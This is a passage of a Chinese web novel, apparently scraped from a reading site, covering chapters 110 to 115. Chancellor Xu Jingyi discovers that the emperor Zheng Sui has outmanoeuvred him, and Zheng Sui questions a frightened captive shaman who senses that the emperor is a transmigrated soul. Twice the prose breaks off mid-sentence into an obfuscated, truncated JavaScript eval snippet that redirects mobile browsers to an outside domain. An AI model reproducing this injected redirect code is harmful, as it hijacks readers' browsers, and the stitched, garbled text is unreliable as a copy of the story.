倘若这解药真是对症的,那岂不是在自己刚刚中毒之时,郑遂就已经知晓了吗? 所以在云州发生的一切,也全在郑遂的掌控之中。 那被自己除掉的那些保皇党呢? 不对不对! 徐敬意终于反应了过来! 只怕那些意外死亡的保皇党早就被人给救了下来,而那些留在自己身边看似忠心耿耿、没事还给自己出个主意针对郑遂的那些,只怕也都是暗中得了郑遂的命令,就为了一步步的把他引入了困局之中呢! 徐敬意越想越胆寒,脊背上都浮出了一层冷汗,很快就在他肮脏的蟒袍之上印出了一个个圆圈。 他明白了,他现在彻底明白了。 韩王也在郑遂的算计之中。 他以为他是在趁火打劫,可实际上就连他趁火打劫的这个计划,兴许都是郑遂在案中引导的! 徐敬意不禁在心中捏了一把汗。 可万万不能让郑遂这个小皇帝真正的掌握大权啊,否则他只会死无葬身之地! 可是最气的,偏偏是那权利本就是自己放出去的。 当时他人在外边,还没有遭遇韩王毒手。 听闻了徐妙晴和徐敬若勾结在一起,他就迫不及待的想要找人制衡徐妙晴,这才放了权给郑遂。 可实则这本来就是郑遂的计划中的一环,徐敬意是全然被算起来的。 联想的越多,猜到的真相就越多,比方说徐敬若的微妙立场。 第110章 在自己手里才稳妥 徐静毅这敬意这才反应过来。 那徐敬若与徐妙晴果真有勾结的话,为何徐妙晴已经被困在了后宫之中,被一个贱奴玩弄于鼓掌? 而徐敬若却平安无恙? 甚至到现在干脆销声匿迹了,一点风声都没有! 南宫治既然要复辟,光靠前朝的那些余孽真的有用吗?他难道不需要拉拢新的势力吗? 怎么可能?如果他不需要,为何还要提出与自己合作?可是徐敬若不也是可值得利用的人之一吗? 徐敬若虽然没有权利,可他有钱啊! 就单凭那些钱财,也足够南宫治招兵买马了。 徐敬意的眉头缓缓皱了起来,拳头也越攥越紧。 他忽然明白了一件事。 在最开始,传出徐敬若的消息时,就是徐敬若大肆捐献钱粮入国库,还与那些朝廷官员来往密切。 而郑遂对于此事,却是全然都没有表态。 难道徐敬若也是被郑遂所收拢的人之一? 好啊!他徐家人如今竟然已经落魄到如此地步了! 竟然被那郑遂三言两语就挑拨的分崩离析,各成一派了吗? 如今才只是他们兄妹三人,若是再加上去加其他人…… 徐敬意简直不敢往下想下去了。 他更难以相信的,是这全是凭借郑遂一人做到的。 可郑遂之前明明一直被自己困在宫中,他是如何能找到那些禁军的,又是如何能够与外界里应外合,完成了这些事的! 徐敬意越想越乱,最后一口气提不上来,竟当场就晕了过去。 等他再次睁开眼时,入目便是一个老大夫在给自己把脉的场景。 周围围了不少奴仆,远远的,还站着徐家的几个同辈兄弟。 不过显然,他们对自己并不像以前那么唯命是从了。 甚至已经不相信他徐敬意了。 放在往常,徐敬意但凡有个头疼脑热,哪怕仅仅是打个喷嚏,这些人不都是乌泱泱的围上来问东问西、嘘寒问暖吗? 如今自己出了这么大的事,人都已经晕过去了,还中了毒,他们竟然连个屁都不放! 想到这一点,徐敬意就更加生气了。 他几乎是从床榻之上弹坐了起来,怒视着远处站着的那些神色各异、却始终没有往前靠上来的那些人。 而在激动之下,徐敬意竟然又忍不住喷出一口血来。 身边给他诊脉的老大夫猝不及防,被徐敬意吐了一身的血,当即吓了一跳,可也不敢躲,只好颤颤巍巍的安抚徐敬意。 “相爷别急。您现在的身体千万不能动怒,动怒会使您体内的毒素扩散的更厉害的!” 徐敬意听了这话不仅没有收敛,反而是气的浑身哆嗦了起来。 他大手一挥:“滚!都给我滚出去!” 他抬起手来指向站得远远的那些兄弟们:“你们如今是墙倒众人推了,见本相醒了也不上来问候一声,真是越来越有本事了!” 有人忍不住想要开口,顺势上前一步,可还没说出话,就被他身后的其他兄弟给拽了回来。 想也知道那人要说什么,不是骂自己、就是谴责自己无能,否则脸色不至于如此难看。 其他兄弟看似不想把事情闹大,把人给拉了回来,可实际上徐敬意看得出来,他们对自己也是持着怀疑的态度,根本就不是真心想劝和的, 徐敬意更加暴躁了,直接把所有人都给轰了出去。 那老大夫颤颤巍巍的躲到了一边,看着徐敬意把手边能摸到的东西全都砸了个遍,再也没有什么东西可供他发泄之后,老大夫才颤颤巍巍的上前一步,苦口婆心的劝说道。 “相爷,您千万不能再生气了。如今毒素在您体内激荡的厉害,您若是继续这样下去,别说是服用解药了,便是华佗在世,只怕也救不回来您了。” 徐敬意听了这老大夫的话,终于稍稍冷静下来一些,但是仍旧没什么好气儿。 转头恶狠狠的瞪了老大夫一眼。 “本相如今到底是什么情况?” 老大夫连忙上前,一边擦着冷汗,一边解释。 幸好,徐敬意只是情绪波动之下晕倒了。 他之前在韩王处也服用了解药,一路上回来的时候又服用了一瓶,多多少少压制了他体内的毒素。 所以只要徐敬意自己别作死,便暂且无恙。 只是这毒一天没有彻底清除,徐敬意的心都一天不能安定下来。 他再一次转头,看向桌上那瓶精巧的白瓷瓶。忍不住伸出猩红的舌尖,舔了舔干涩的嘴唇。 他如今所有的希望,似乎也只能寄托于郑遂送来的这瓶毒解药上了。 即便他知道郑遂没安好心,可却也是唯一的出路,他只好忍下心中的怒火,对那老大夫问道。 “这个解药你看过没有?针对本相体内的毒到底,有没有用处?” 老大夫连连颔首:“丞相放心,老夫已经检查过了,那确是解药无疑。只可惜,如今只能拿到这一小瓶,想要根除还是不可能的。根据老夫的经验,至少得再服用三次才能有效。” 徐敬意皱起了眉,心里更恨了。 这郑遂和韩王本就是一样的。 他们都是心机深沉,极为歹毒之人。 他俩果真是兄弟一脉,丝毫都不差。 可是就算是这解药再少,徐敬意也不得不喝下去,能拖一天是一天! 不过,徐敬意却先让他老大夫取出了一点点装进了他自己的瓷瓶之中,让他尽快回去研究药方。 这解药的药方还是要放在自己的手里才稳妥,否则他徐敬意的命岂不是又被郑遂所掌控了? 这种身陷桎梏,连生死都不由得自己说了算的感觉,已经让徐敬意游走在了崩溃的边缘了! 他是断断不能忍了! 这儿即便有些肉疼,却也还是让老大夫把那药带走了一部分。 人走后,屋内又只剩下了徐敬意一人。 徐敬意独自坐在床上,手中紧紧捏着那个白瓷瓶,颠来覆去的看了好几遍。 终于,他下定了决心,打开瓶塞,仰头把瓶中的解药都喝了下去。 【亲爱的读者,如果认为内容可以,记得加入书架哦,方便下次阅读~】 第111章 江大人操心着呢 “如何了?” 郑遂慵懒的窝在软榻上,手指轻轻抚摸过身侧的白玉如意。 王喜跪在一旁,轻轻的给郑遂捶着腿。 “陛下放心,一切都如陛下所料。丞相虽有犹豫,但还是服用了。” 那徐敬意可是最惜命的,让他去死,他怎会甘心? 纵然有所犹豫,可听说那药能救自己的命,徐敬意不还是喝下去了? 这件事,本来就不怎么需要郑遂费力气。 郑遂淡淡一笑:“这事,南宫治可知道了?” “自然,奴才第一时间就将消息传了过去。” 郑遂冷哼一声:“盯紧点,朕给予他权利,可不是让他这么乱用的。” 徐敬意不是什么好东西,南宫治也不见得好到哪里去。 说穿了,不过是你利用我,我利用你。 大家互相制衡着,又何尝不是在寻找一个突破口? 一旦被寻到了机会,是良心也没了、恭敬也没了,总归都会乌泱泱的扑上去,像一群苍蝇似的。 不过有一件事,却是实实在在的。 南宫治骗了徐敬意,其实前朝那些个皇室宗族,早就死绝了。 正如郑氏先祖所言:我既然要抄你的家,那边是条狗也得扒皮炖了,是鸡蛋都得摇散黄。 你前朝皇室宗族为保血脉,故意编造出后期再也没有后嗣出生的假象。 可是做的太多,亦是等同于明晃晃的告诉世人:我就是在搞事情呢! 所以,他们早就被郑氏先祖盯上了,抱出去一个,就杀一个。抱出去一双,就杀一双。 总归谁也跑不了。 那个在南宫治口中,侥幸活下来的小皇子,实则也是被郑氏先祖暗中找到。 都没活过三岁,就给活活掐死了。 这事,听着特别残忍,像是他们郑氏先祖做了什么大逆不道之事,得位不正一样。 可实际上,那也不过是他们前朝余孽自己编造的假象罢了。 他们在传闻之中把自己编造成了励精图治的皇室,却遭遇小人谋反,我几乎杀的他们断子绝孙。 可事实情况是,当政朝廷若是当真有他们说的那么伟大,那么利国爱民,又何必会有民间百姓揭竿而起。 是的,他们郑氏先祖在最开始的时候也不过就是平头百姓罢了。 因为连年灾荒又迟迟等不到朝廷下放的赈灾粮,所以年轻力壮的就干脆投了军去。换来了些许银两,救了家中老弱一条命。 慢慢的,竟然还在军中真的混出了些许名堂。 不过,前朝向来是贵族世家专权。 无论是被封爵之人也好,还是步入朝堂,深入军营者也罢。 凡与贵族世家沾上了点边儿,就会即刻变成人上人,不仅升职之路比起那些毫无背景之人要顺畅许多,要职的位置也是被他们牢牢把控在掌心之中。 莫说是普通百姓,便是那些富可敌国的商人到了他们面前也得乖乖看他们的颜色形式。 这朝堂就是如此腐败下去的,前朝之所以败落,更与之息息相关。 如今前朝皇室宗族成了落草之寇,便极力的编排。 没有实力,便要用舆论造势。 结果,郑家先祖还是揭竿而起,率领被朝廷压榨到无法喘息的百姓们组成民兵,一路从南边打过来。 这一路走来,吃过多少苦,受过多少罪,又是如何站在了这云顶之端,旁人或许不清楚,但郑家先祖清楚,前朝那些皇室宗族更清楚。 他们本来就该死! 可是话又说回来,时代更迭,多少年过去了。 连百姓都换了一批又一批,谁还会记得前朝的所作所为。 他们只会记得,是郑氏先祖将前朝皇室宗族杀戮殆尽,一个活口都不留。 却永远不记得,曾经他们这些活在底层的百姓,在至高无上的皇权之下被压榨的有多生活艰辛,甚至有些个人家,直接因为灾荒饿死,绝了户,没了后人。 而一个朝代的建立,也必不可免的,会有高低起伏。 从一路的攀升,到逐渐衰落,也不得不承认,当朝历代皇帝,都有功绩,却也有不可忽视的错误。 所以才导致了有徐敬意这样的人出现。 郑遂就是要拨乱反正,将一切都拉回正轨。 然而费尽心力,寻到这前朝余孽南宫治,在利用他的同时,又何尝不是在铤而走险。 前朝皇室虽已一丝血脉不剩,但南宫一家的先祖却是对他们忠心耿耿。 直到现在,都想着要复辟。 至于这所谓复辟究竟是给自家谋利,还是为了心中的所谓的信仰,可就说不准了。 郑遂对南宫治心中所想到底是什么?无所谓,只是这个人利用也可,许他富贵也可,但过度的权利是万万不可能给他的。 并且,要时时刻刻的地方。 倘若那南宫只有半点越轨之处,郑遂也绝不饶他。 王喜应了一声:“陛下放心,奴才会与江大人那边交代好。江大人也可紧张着呢,千日退朝之后,还悄悄问过奴才,这南宫治是否还尽心。” 郑遂只是笑了笑,没有说话。 之所以能找到南宫治这么个趁手的工具,还得多亏了江如松。 别看那老贼曾经与徐敬意为伍,也曾肖想过至高无上的权力。 但是他比起徐敬意,倒是有几分清醒。 知道这江山易得,守住却难。 所以他只是在追求更高的位置,更庞大的权势,却并无徐敬意这样的歹心。 郑遂屡次敲打,这江如松也是时时警醒,倒是极为消停,并无什么错处。 且他自打归顺于郑遂之后,便算是与徐敬意彻底划清了关系。 先前那些常与他往来的,徐敬意的那些党羽,江如松也是一概不见了。 时间一长,大家便都看得出来,这江如松是投靠了郑遂。 生气也好,不甘也罢,那时徐敬意到底还在离京巡抚的路上,天高皇帝远,江如松又没做什么危害到他们利益的事,他们自然也不会过多插手。 等他们反应过来的时候就已经到了如今,徐敬意自身难保,他们也自行与徐敬意切割开来,就更不会拿江如松怎么样了。 第112章 这竟然是影巫 只是这江如松近些日子倒是真乖觉,而且越发的谨慎了起来。 就连家中铺面的生意出了点问题,都得特地跑来宫中禀报给郑遂。 有时候郑遂面对他都觉得不像是在面对一个臣子,而是在给他当大管家。 郑遂烦不胜烦,叫江如松滚蛋,自己去解决这些事儿,不要拿那些鸡零狗碎的东西,打扰他。 所以江如松最近这些日子就一直萎缩在自己的家里,连头都没漏。 到时着徐敬意回来之后,江如松反倒跑到王喜面前去打听南宫治的消息。 没出息!郑遂忍不住在心里骂到。 徐敬意就是那种权势滔天,那终究也是过去的事。 如今就连徐敬意都得在自己面前夹起来尾巴做人,江如松还怕他作甚? 不过话也说回来了,有着南宫治这层关系在,江如松不怕也不行。 毕竟这南宫治之所以会那么快的进宫,为徐妙晴制作虎符,是因为他本就在京中潜伏已久。 而且一开始的时候,他就是江如松的人。 那会儿江如松看似和徐敬意分庭抗礼,可实际上却时不时的被徐敬意打发去干一些微不足道的活,就像是打发一个小厮似的。 江如松怎能甘心? 所以当徐敬意让江如松去给自己找一个可入宫策应的人时,江如松便找到了南宫治。 且不说这南宫治祖上的手艺,就是他的身份,那也是极为敏感的。 这种人送进宫中必有大用,而他要是对徐敬意不满,回头反咬徐敬意一口,那坐收渔利的人就可是江如松了。 只不过江如松到底没那么大的胆子只是把南宫治给寻来了,至于何时引荐到徐敬意的面前,江如松一直在思量中。 这一来二去的就拖到了郑遂穿越过来,当下就摆了他们两个一道,江如松无可奈何,只能归顺于郑遂。 因为怕惹来杀身之祸,若得个徐敬意那样被算计,却不自知的下场,所以他就干脆把南宫治的存在给交代出来。 正好那个时候,徐妙晴急于找一个匠人去制作虎符,便顺理成章的把南宫治引荐进了宫中,也恰恰好好是派了用场。 所以江如松怎能不怕? 若原先用于对付徐敬意还好,不管徐敬意事成失败,江如松都不会损失什么。 毕竟他只是去找了个人,但如何运用,可是徐敬意自己拿的主意,只要江如松咬死了不肯承认,徐敬意就算是想往他身上赖也赖不着。 可现在不同了。 现在可是他实打实的把人送到了政协的面前,一旦南宫治在宫中兴风作浪,江如松也得跟着吃连带的责任。 如此一来,倒是给郑遂省了不少事。 毕竟呢,对南宫治大部分的监管责任可都在江如松头上的。 所以眼下郑遂不需要怎么操心,他现在最关心的是另外一件事。 与王喜交代完了之后,郑遂便缓缓起身来到乾清宫后殿的地道入口,踏入进去。 这地道已经经过了一番修缮,就趁着南宫治将徐妙晴困在宫中出不来的时候改的。 原来的入口在御花园,每次想要前去总是要避着些人。 可现在不同了。 郑遂与宫外来往可是方便了不少。 而在徐敬意不在的这些日子里,郑遂在京郊又建立了一个新的大本营。 集禁军,军械库与一体,甚至还额外开辟出了个小院儿作为牢狱。 这地方可是给郑遂派了大用。 郑遂步入地道不久,就有禁军前来接应,一路护送着郑遂前往了京郊。 从外表看,这次所谓的大本营与普通的宅子没有什么区别。 只是墙更高了一些。 寻常人见了也只会以为是哪个富商在京郊新建了一个宅子,不会多想。 但实则只要进了里头,连只苍蝇都别想轻易飞出去。 郑遂一路被禁军的一个头目引着,步入了新建的大牢之中。 因为是刚刚建立的整个牢房还都十分整洁,只是隐隐的还是能闻到一些怪味。 郑遂不禁皱了皱眉,负手而立,询问道:“你们对他动刑了?” “陛下没有命令,我等岂敢。”那禁军头目连忙垂下头去。 “只是这人胆子颇小,自从被抓进来之后,就吓得屁滚尿流,我们还没怎么使手段呢,他就已经全都交代了。” 那怪味儿哪里是用刑之后的气息,分明就是他自己进来之后就吓尿了裤子,人也疯疯癫癫的,排泄物都往裤子里拉。 甚至还是狱卒受不了了,主动帮他换了,医生擦了身子,这气味才小了一些。 郑遂勾了勾嘴,忍不住歪头一笑。 竟是这种人吗?有点意思。 “朕过去看看。” 郑遂缓缓走上前,来到了那个官人的牢房之前。 只见里头坐着一个看似衣冠整洁可实则疯疯癫癫,极为憔悴的人。 他生的极为瘦弱,窝在干草堆里,就剩那么小小一团。 若是不仔细看,根本就不会发现他在那里。 而即便他们过来时并没有发出什么动静,却依旧把他吓得瑟瑟发抖。 远远的看着,都能感受到他肩膀在止不住的抖动。 这人简直与郑遂意想中的大相径庭,至少在外貌上是这样的。 此人不是别人,正是之前徐妍提到过的那个影巫,鬼师的亲传大弟子。 预想中的影巫,虽然也是瘦弱的,看上去一阵风就能吹倒的。 但他应该是那种脸色苍白,表情阴鸷,遇到任何事都无悲无喜。 仿佛只要大手一挥,就可翻云覆雨。 可实际上的人,竟然只是一个少年。 看上去,也不过十五六岁大,而且也不知是长期学习巫蛊之术,还是营养不良的关系,简直瘦成了一把干柴。 莫说是风吹了,便只是关个门带来的一阵微风,都能把他给吹倒了。 当时禁军在郑遂的授意之下,抓到了影巫,郑遂便下令,不管使劲什么手段,也要从影巫的手中拿出解药来,并且逼问出他们师徒二人与韩王的关系。 至于使什么手段,郑遂无所谓。 只需要逼问出真相,再留他一条命,苟延残喘就行。 第113章 真是胆小如鼠 而如今郑遂已经拿到了解药,可却没想到禁军们什么手段都没用,就已然让他教出了这么重要的东西,这实在是让郑遂大跌眼镜。 愣了片刻之后,郑遂才缓缓上前。 微微蠕动了一下嘴唇,想要开口说些什么却又有些纠结。 片刻之后,才艰难的吐出一个字:“你……” 仅仅一个字,郑遂甚至都没有抬高音量,这影巫就忽然被吓到了似的,猛地抬起头朝郑遂的方向看了一眼。 见到站在前方不远处的男子身着绣龙纹长袍便,他一眼就认出了这便是当朝皇帝。 几乎是瞬间,影巫就开始瑟瑟发抖了起来。 他猛地往后缩了缩,一直退到了墙壁边,甚至已经没有退路了,他还在使劲儿的往后拱,像是要把监牢的墙给拱出个洞似的。 随即声音颤抖着道:“别过来!别杀我!我真的是被逼的!我不是自愿的呀!” 郑遂忍不住皱起了眉,转头偏了身旁的禁军头领一眼禁。 禁军连忙上前一步,压低声音对着郑遂解释道:“他自从来了之后就一直这样。口口声声的说着自己冤枉,还说他是被逼的。而且我们也没提出想要什么东西,他就已经先把那解药给交了出来。” 郑遂挑了挑眉,只觉得眼前发生的一切都太玄幻了。 这哪里是与他预料的不同,分明是想都不敢想。 郑遂思考了一下,挥挥手,让那些禁军退了下去,只留下自己与影巫单独相处。 影巫还瑟缩在角落里,抱着头,眼睛时不时的往郑遂这边瞟一下,仿佛是要确认他走没走。 但是每次看过来的时候,郑遂都还淡淡的站在那里,这不禁让影巫心中更加崩溃了。 他甚至忍不住开始低声啜泣了起来。 郑遂有些无奈的叹了口气。 穿越来这个朝代这么久,见过了那么多人,胆大如徐敬意,懦弱如徐妍,可都有着或多或少的血性,就没有一个能没出息成引入这个样子的。 他的名号起得如此响亮,放在江湖上谁听了不得瑟瑟发抖? 哪怕是不了解这个人,但听到了这个名字,一定会以为是什么大人物呢。 却不想胆小如鼠,简直不成体统! 不过郑遂此来也不是为了教育小孩的,便缓了语气,蹲下身来,望向瑟缩在远处的影巫。 问他:“你饿了吗?” 影巫愣了一下,过了许久才小心翼翼的抬起头来,飞速的瞥了一眼郑遂,又赶紧收回视线,怯怯的盯着自己的脚尖儿,缓缓摇了摇头。 “真的不饿吗?” 郑遂轻笑一声,从宽大的袖袍里拿出了一个被油纸封好的小包裹来。 顺着牢房门的缝隙,塞了进去。 “你确定你一点都不想吃?” 即便这里头的东西已经用油纸封装的严严实实,但是那股子香味还是顺着缝隙飘了出来,一个劲儿的往影巫的鼻子里钻。 英语终于忍不住转过头去,视线落在那个小油纸包上。 这里边是新炸的油炸糕,而且应该也就刚刚出炉不到小半个时辰,因此味道极为霸道。 那股子油香,勾的人馋虫都出来了。 而里边隐隐散发出来的豆馅儿的清甜香气,更是让人食指大动。 他是要把这糕给自己吃吗? 影巫不确定的看了郑遂一眼,郑遂微微摊开手。 “你就算是不吃,可朕也不会把牢房门打开,把这东西捡起来,再送到朕自己的肚子里。你不吃,就只能扔了。” 影巫舔了舔嘴唇,终于抵不住饥饿。 小心翼翼的蹭上去,随后飞速夺过油纸包,又跑回了干草堆上窝着。 他打开外边的纸皮儿,看到了里头炸了金黄酥脆的油炸糕,终于是控制不住自己内心油然而生的本能渴望,开始大口大口埋头苦吃了起来。 “慢点吃,又没有人跟你抢。”郑遂轻声提醒。 可这句话,竟又把影巫给吓了个半死。 他竟然直接噎住了,随后脸色迅速涨红,开始艰难地咳嗽起来。 油炸糕都是用糯米做的,那么一大口塞进去,早就在嗓子眼里黏了个结结实实,怎么能咳得出来? 影巫没办法,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287944|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赶紧伸手去抠。 可是那东西实在是太软了,刚吐出一点点,还没到喉咙眼,就又被他不小心给咽了下去。 咽又咽不完全,根本落不到胃里。 几乎是转瞬之间,他的呼吸就变得有些艰难起来,忍不住抬起手,死死的掐住了自己的脖子,仿佛马上就要断气一般。 郑遂被他给吓了一跳。 这影巫当真是胆小如鼠,如果他这副姿态不是故意装出来给自己看的,那他从前到底经历了什么,才能让他变成如今这般模样? 郑遂来不及想那么多,这人留着可还有用呢,不能让他就这么**。 于是郑遂赶紧叫外头的人进来。 外头守着的狱卒们三三两两的进来,看到此情此景,当下也是吓得一愣。 随后赶紧倒了满满一大海碗的水,打开牢房门冲了进去,将那水强行给影巫灌了进去。 几乎喝了整整一大碗,影巫喉咙里的那块油炸糕才终于顺了下去。 他满脸痛苦,泪光盈盈的看向郑遂的方向。似是委屈,又像是在控诉。 郑遂忽然有些无语。 自己好心给他点吃的,怎么搞得好像要故意害他似的? 那油炸糕还是他今日出宫的时候特地让人去买的呢,平时在宫里根本就吃不到这一口。 如今自己一点没碰全都给了他,反倒像是自己的错了。 真是多余。 禁军端着海碗出来,有些为难的看了郑遂一眼。 什么都没说,却像是什么都说了。 这影巫胆子比针鼻儿还小,再吓他两回,搞不好他能直接活活断了气。 他要是没了,后边的事可怎么办呢? 郑遂重重的叹了口气,却依旧是对他挥了挥手示意他下去。 郑遂知道,自己的身份摆在这儿,压迫感自然强,但是他到现在也都一直是彬彬有礼的与影巫交谈。 不像这些禁军,出来进去腰间都跨着长刀。 自己要是都问不出来,指望着他们更问不出来。 禁军见状犹豫了一下,也赶紧下去了。 第114章 他命数已尽 郑遂缓缓蹲下身子,凝视着刚从濒死的边缘被拉回来,正拿着糕,满脸惊恐的看着自己的影巫。 沉默片刻,郑遂道:“想吃就继续吃吧。” 影巫睁着一双因为清瘦而显得过于大、甚至微微有些突出的眼。 犹豫了两下,终于受不住诱惑,继续埋头苦吃。 只是这回速度明显慢了下来,估计也是害怕自己再噎到的缘故。 郑遂深深的凝视着他,忽然觉得好像有哪里奇怪。 这影巫,像是根本不知道饥饱一样。 他总共给了影巫三块糕,每个都足足有一个成年男人巴掌那么大,厚度也是有一块麻将立起来一般高。 就算是影巫再怎么饿,可这又黏又占肚子的油炸糕吃进去,总也该饱了吗? 郑遂惊疑不定的看着影巫,片刻后,终于忍不住问了一句。 “你不觉得撑得慌吗?” 不说还好,郑遂忽然一开口,反而把这影巫给吓到了。 他转过头来,满脸惶恐的看着郑遂。 再低头看看自己手中的东西,怯怯地问:“我不能吃了吗?” 这还是自打见到他开始,除了求饶喊冤以外,说的第一句正常的话。 看来不是脑子有问题,郑遂心里微微松了一口气,说道:“没有不让你继续吃的意思,就是觉得你吃了这么多,肠胃可能会受不了。” 影巫看了看自己手里的东西,犹豫了一下,竟然就真的乖乖的放下了。 郑遂一看就乐了。 呦呵,小东西还挺听话的。 虽然不知道是不是故意装出来的,但最起码的,他能开口,能恢复到一个正常人的状态,郑遂就不愁在他口中问不出真话来。 于是便道:“不是不让你吃了,如果你还觉得饿的话,可以继续,只要你自己没觉得不舒服就好。” 影巫眨了眨眼,随即低下头去,神色似乎有些落寞。 随后,他哑着声音道:“没事的,我吃不吃也无所谓……反正,我也从来没有体会过真正吃饱饭是什么感觉。” 郑遂一愣:“你这话是什么意思?” 影巫缓缓转过头来,飞速的看了郑遂一眼,似乎是在犹豫。 但最终,他还是开口道:“你既然能把我抓来,应该就知道我是什么来路。” 郑遂饶有兴致的席地而坐,撑着腮看着面前的小孩儿。 “倒是有所了解,不过,你们做巫蛊师的,平时都做什么,接谁的生意,那可就不是我能随便探查到的了,你说呢?” 少年的身子微微一颤,明显是被郑遂的话给吓了一下。 但片刻后,他看向郑遂的眼神中忽然闪过一丝惊讶。 “其实我觉得你不像皇帝。” 郑遂心中闪过一丝异样的感觉。 有些好奇的开口问道:“我不是皇帝,是什么?” 影巫防毒生怕郑遂生气似的,赶紧收回了视线,但是脸上的表情却明显是困惑的,似乎是在思量着什么,许久都没有开口。 但是片刻之后,影巫似乎还是太过好奇,实在是忍不住了,表情略带迷茫的问道。 “师父教过我一些占卜的本事,虽然只是皮**,但是人最表层的起运命数,我还是看到出来的。” 影巫顿了顿,似乎是在斟酌用词。 “你有帝王的起运,但你本不是帝王之命。” 说完这话,影巫似乎是觉得不妥一样,又赶紧补充了一句:“但我不是说你没命坐稳皇位的意思!我是说……从你的气运上来看,你不禁能够坐稳这个皇位,甚至还能做得很好,但……” 影巫有些纠结的看了郑遂一眼,终究还是没有勇气把后面的话继续说下去。 眼前的这个年轻帝王,看着虽然生来富贵,但却一生劳碌,而且早死。 虽然富贵但操劳是每个帝王都会经历的,但是却有所不同。 郑遂本该也是一个位高权重的人的,但是,绝对达不到一国之主的程度。 甚至…… 影巫有些不确定,又眯起眼飞速看了郑遂一眼,手指快速的掐算着。 紧接着,他就愣在了原地,就连脸色也霎时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287945|182640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得更白了。 之所以影巫会忽然露出如此恐惧的表情,是因为他刚才竟然感觉得,郑遂的命数其实已经尽了。 虽然时间只在几个月之前,但是影巫完完全全的可以确认,其实郑遂已经**。 这让他不禁倒吸了一口凉气。 难道现在自己面前的人,竟是个鬼不成? 不!不会的! 人有三魂,天魂、地魂、人魂。 所谓的鬼魂,实际上就是地魂,可面前的人三魂是全的,而且肉疼活生生的可见,并不是鬼魂。 但是当影巫仔仔细细去看的时候,却总觉得他面上有一股淡淡的死气,就像是蒙了一层什么东西的似的。 寻常人或许看不出来什么,但他是巫师,一眼就可以看出不一样的地方。 而且从这个人的命数上来看,他确确实实应该已经不存在于这个世间了。 如果不是他找了什么法师,或者是用了什么邪术帮自己续命了的话,那难道是…… 短短片刻间,影巫心中闪过很多他听到的传闻。 郑遂是先帝嫡子,因为先帝与先皇后情好的缘故,从郑遂出生起,他就是绝无异议的太子。 先帝甚至都没有考虑过其他更有天赋资质的皇子,早早就下令要把皇位传给他。 但是这个郑遂曾经实在是太不争气,根本就是烂泥扶不上墙。 所以老皇帝只能早早的把自己其他的儿子都送出去,让他们去了封地,其目的就是为了给自己心爱的儿子扫清障碍。 但即便如此,先帝刚刚过世不久,朝廷内外还是迅速乱了起来。 小皇帝可是被直接软禁在了皇宫之中,叫天天不应,叫地地不灵。 可纵观这几个月,大齐势力格局的变化,却会发现这个小皇帝并不是传闻中的昏庸无能。 难道是他之前一直在隐藏自己的实力? 不会! 影巫很快就否定了这个刚冒出来的念头。 以前先帝在世的时候,最护着这个儿子了,他何必从那个时候就开始装无能? 第115章 你不是以前那个皇帝了 这倒更像是直接换了个人。 影巫忽然意识到了这一点,再结合起自己看出来的那些东西。 几乎是转瞬之间,影巫的身体就开始瑟瑟发抖了起来。 这种情况,只能用一种理由来解释了。 夺舍! 这是夺舍啊! 影巫难以置信的看向郑遂。 郑遂只见影巫的神色变幻莫测,从一开始的茫然、震惊,到后来迅速变成了惊惧。 郑遂不禁皱了皱眉。 这小孩子这么久没有说话,一转头就用那种眼神看着自己是什么意思? “你……” 郑遂刚刚开口,影巫就狠狠往后缩了一下。 他缓缓抬起手来,颤抖的指着郑遂。 随即不知道是太害怕,脑子短路了还是怎么样,影巫说了一句让他刚刚吐口,就后悔莫及的话。 “你不是原来的那个皇帝的!” 他这话,怎么理解都成。 也可以是他在说自己和以前不一样了。 但是他这么突兀、且完全前言不搭后语的来了这么一句,几乎是瞬间,郑遂就明白了他话中最真实的意思。 他是在说,自己已经不是原来的那个郑遂了。 皮囊还是那个皮囊,但芯子却早就换了人。 郑遂不禁面色一沉,心也跟着往下坠了坠。 在震惊的同时,竟然也不禁高看了这个好孩子一眼。 没想到表面看着畏畏缩缩的,可实际上还真有两把刷子。 不过也是,他看着稚嫩,可也是鬼师的大弟子,自然是有几分本事的。 影巫正怯怯的看着郑遂。 他真的恨不得咬了舌头,当场自尽。 他刚才是疯了吗? 怎么能把这种话脱口而出呢? 郑遂正紧紧的盯着影巫,看见他脸上变幻莫测的神色,郑遂忽然忍不住轻轻笑了起来。 原本以为,他是出于某种目的,或者是为了试探自己,才突然说出那种话的。 但是这会儿看着他脸上掩盖不住的惊惧,郑遂倒是对他半点防备都没有了。 这不就是一个典型的实力很强,但是不通人情世故,情商还特别低的小孩儿吗? 在现代的时候,工作单位几乎每一年都会来一批这样的,学历很高,但是处理不好人际关系,说话不过脑子的小孩子。 听见郑遂笑了,影巫脸上惊慌的表情便更加压制不住。 在他的心都差点从嗓子眼里直接蹦出来的时候,郑遂终于开口了。 “哦?何以见得呢?” 影巫的眼睛越瞪越大,几乎不敢相信自己的耳朵。 郑遂不仅没有生气,他甚至还能如此心平气和的和自己说话? 他……他不会是在故意试探自己,欲抑先扬,然后等时机合适了,就直接下令杀了自己吧? 影巫一时间更加纠结了。 继续说?那郑遂可能一怒之下就得把自己弄死。 不说?那郑遂更可以趁机挑自己的毛病,然后再杀之。 在强烈的濒死恐惧中,影巫直接自闭了。 郑遂:…… 看来刚才自己的话说早了。 他哪里有一丁点的男子气概?简直是没出息到家了! 